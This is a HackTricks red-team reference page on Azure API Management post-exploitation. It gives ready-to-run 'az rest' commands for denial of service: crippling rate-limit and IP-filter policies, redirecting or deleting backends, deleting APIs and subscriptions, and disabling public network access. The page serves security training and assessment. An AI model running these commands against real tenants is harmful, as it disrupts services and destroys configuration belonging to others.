Azure - API Management Post-Exploitation

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Microsoft.ApiManagement/service/apis/policies/write or Microsoft.ApiManagement/service/policies/write

The attacker can use multiple vectors to cause a denial of service. To block legitimate traffic, the attacker adds rate-limiting and quota policies with extremely low values, effectively preventing normal access:

az rest --method PUT \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
    --headers "Content-Type=application/json" \
    --body '{
        "properties": {
            "format": "rawxml",
            "value": "<policies><inbound><rate-limit calls=\"1\" renewal-period=\"3600\" /><quota calls=\"10\" renewal-period=\"86400\" /><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
        }
    }'

To block specific legitimate client IPs, the attacker can add IP filtering policies that reject requests from selected addresses:

az rest --method PUT \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
    --headers "Content-Type=application/json" \
    --body '{
        "properties": {
            "format": "rawxml",
            "value": "<policies><inbound><ip-filter action=\"forbid\"><address>1.2.3.4</address><address>1.2.3.5</address></ip-filter><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
        }
    }'

Microsoft.ApiManagement/service/backends/write or Microsoft.ApiManagement/service/backends/delete

To cause requests to fail, the attacker can modify a backend configuration and change its URL to an invalid or unreachable address:

az rest --method PUT \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
    --headers "Content-Type=application/json" "If-Match=*" \
    --body '{
        "properties": {
            "url": "https://invalid-backend-that-does-not-exist.com",
            "protocol": "http"
        }
    }'

Or delete backends:

az rest --method DELETE \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
    --headers "If-Match=*"

Microsoft.ApiManagement/service/apis/delete

To make critical APIs unavailable, the attacker can delete them directly from the API Management service:

az rest --method DELETE \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
    --headers "If-Match=*"

Microsoft.ApiManagement/service/write or Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action

To block access from the Internet, the attacker can disable public network access on the API Management service:

az rest --method PATCH \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
    --headers "Content-Type=application/json" \
    --body '{
        "properties": {
            "publicNetworkAccess": "Disabled"
        }
    }'

Microsoft.ApiManagement/service/subscriptions/delete

To block access for legitimate users, the attacker can delete API Management subscriptions:

az rest --method DELETE \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
    --headers "If-Match=*"

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks